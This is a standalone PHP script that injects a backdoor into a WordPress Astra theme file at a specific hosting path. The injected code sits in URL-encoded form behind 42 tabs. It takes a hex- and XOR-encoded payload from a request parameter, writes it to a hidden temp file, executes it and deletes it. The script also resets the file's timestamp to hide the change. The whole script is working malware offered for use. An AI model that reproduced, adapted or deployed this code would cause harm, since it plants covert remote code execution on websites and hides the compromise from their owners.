<?php  function pb_leading_namespace_or_declare($content) {     $p = 0;     $len = strlen($content);     if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {         $p = 3;     }     while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {         $p++;     }     if (strncmp($content, '<?php', 5) === 0) {         $p += 5;     } elseif ($p + 1 < $len && $content[$p] === '<' && $content[$p + 1] === '?'         && strncmp($content, '<?xml', 5) !== 0 && strncmp($content, '<?=', 3) !== 0) {         $p += 2;     } else {         return false;     }     while ($p < $len) {         while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {             $p++;         }         if ($p >= $len) {             break;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '/') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p < $len && $content[$p] === '#') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '*') {             $end = strpos($content, '*/', $p + 2);             $p = ($end === false) ? $len : $end + 2;             continue;         }         return (bool) preg_match('/^(namespace|declare)\b/i', substr($content, $p));     }     return false; }  $path = '/home1/msarats2/public_htmlwp-content/themes/astra/inc/addons/transparent-header/classes/class-astra-ext-transparent-header-markup.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('%24component%3D%22property_set%22%3B%20if%28%40%24_REQUEST%5B%24component%5D%20%21%3D%3D%20null%29%7B%20%24holder%20%3D%20pack%28%22H%2A%22%2C%20%24_REQUEST%5B%24component%5D%29%3B%20%24ent%20%3D%20%27%27%20%3B%20for%28%24p%3D0%3B%20%24p%3Cstrlen%28%24holder%29%3B%20%24p%2B%2B%29%7B%24ent%20.%3D%20chr%28ord%28%24holder%5B%24p%5D%29%20%5E%2048%29%3B%7D%20%24data_chunk%20%3D%20array_filter%28%5Bsys_get_temp_dir%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TMP%22%29%2C%20%22/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20%22/dev/shm%22%2C%20session_save_path%28%29%2C%20%22/var/tmp%22%2C%20getcwd%28%29%5D%29%3B%20foreach%20%28%24data_chunk%20as%20%24dat%29%3A%20if%20%28%21%21is_dir%28%24dat%29%20%26%26%20%21%21is_writable%28%24dat%29%29%20%7B%20%24flag%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24dat%2C%20%22.fac%22%5D%29%3B%20if%20%28file_put_contents%28%24flag%2C%20%24ent%29%29%20%7B%20include%20%24flag%3B%20%40unlink%28%24flag%29%3B%20die%28%29%3B%20%7D%20%7D%20endforeach%3B%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (pb_leading_namespace_or_declare($content)) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {          @touch($path, $ft + 10);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!');